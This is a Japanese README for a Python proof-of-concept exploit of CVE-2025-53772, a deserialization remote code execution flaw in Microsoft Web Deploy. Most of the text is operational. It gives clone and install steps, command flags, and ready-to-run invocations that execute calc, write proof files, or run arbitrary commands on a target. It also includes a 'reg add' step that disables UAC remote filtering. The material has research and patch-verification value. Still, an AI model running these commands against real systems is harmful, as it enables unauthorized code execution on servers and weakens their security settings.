
cve-2025-53772 の poc
CVE-2025-53772用のPythonベースのエクスプロイト。Microsoft Web Deploy (msdeploy) のリモートコード実行脆弱性で、HTTPヘッダーデータの安全でない逆シリアル化によって引き起こされます。

| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2025-53772 |
| CVSS スコア | 8.8 (高) |
| 影響を受ける製品 | Microsoft Web Deploy 4.0 |
| 脆弱なバージョン | < 10.0.2001 |
| 修正済みバージョン | 10.0.2001+ |
| 脆弱性の種類 | 信頼されていないデータの逆シリアル化 (CWE-502) |
| 認証 | 必要 (低権限) |
この脆弱性は、MSDeploy.SyncOptions HTTPヘッダーの逆シリアル化に存在します。特別に細工されたペイロードが送信されると、サーバーは BinaryFormatter を使用してそれを逆シリアル化し、TypeConfuseDelegate ガジェットチェーンを介して任意のコード実行を引き起こします。
攻撃者 ターゲットサーバー
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <malicious_payload> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ RCE 達成!
| エンドポイント | ポート | プロトコル | 認証タイプ |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# Create proof file in C:\Windows\Temp\pwned.txt
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target ターゲットIPまたはホスト名 (必須)
-u, --user ユーザー名 (必須)
-P, --password パスワード (必須)
--port ターゲットポート (デフォルト: 80)
--endpoint エンドポイントパス (デフォルト: /MSDEPLOYAGENTSERVICE)
--ntlm NTLM認証を使用 (Agent Serviceで必要)
--calc calc.exeを実行
--proof-temp C:\Windows\Temp\pwned.txtを作成
--proof-web C:\inetpub\wwwroot\pwned.txtを作成
-c, --command 実行するカスタムコマンド
--generate-only ペイロードのみ生成、送信しない
-o, --output ペイロードをファイルに保存
# Pop calculator
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# Create proof file in temp folder
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# Create proof file in webroot (verify via browser)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# Execute custom command
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# Generate payload only (don't send)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# Using msdeploy.axd endpoint (no --ntlm flag)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
エクスプロイト実行後、ターゲット上で実行を確認:
# Check for proof file
type C:\Windows\Temp\pwned.txt
# Or via browser (if --proof-web was used)
# Navigate to: http://<TARGET>/pwned.txt
Agent Service を NTLM で使用していて 401 が発生する場合:
# On target, disable UAC remote filtering:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
IIS ハンドラーが登録されていない可能性があります。代わりに Agent Service エンドポイントを使用してください:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# Check installed version
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# Vulnerable if < 10.0.2001
このツールは 許可されたセキュリティテストおよび教育目的のみ のために提供されています。コンピュータシステムへの不正アクセスは違法です。テストの前に必ず適切な許可を取得してください。
MIT ライセンス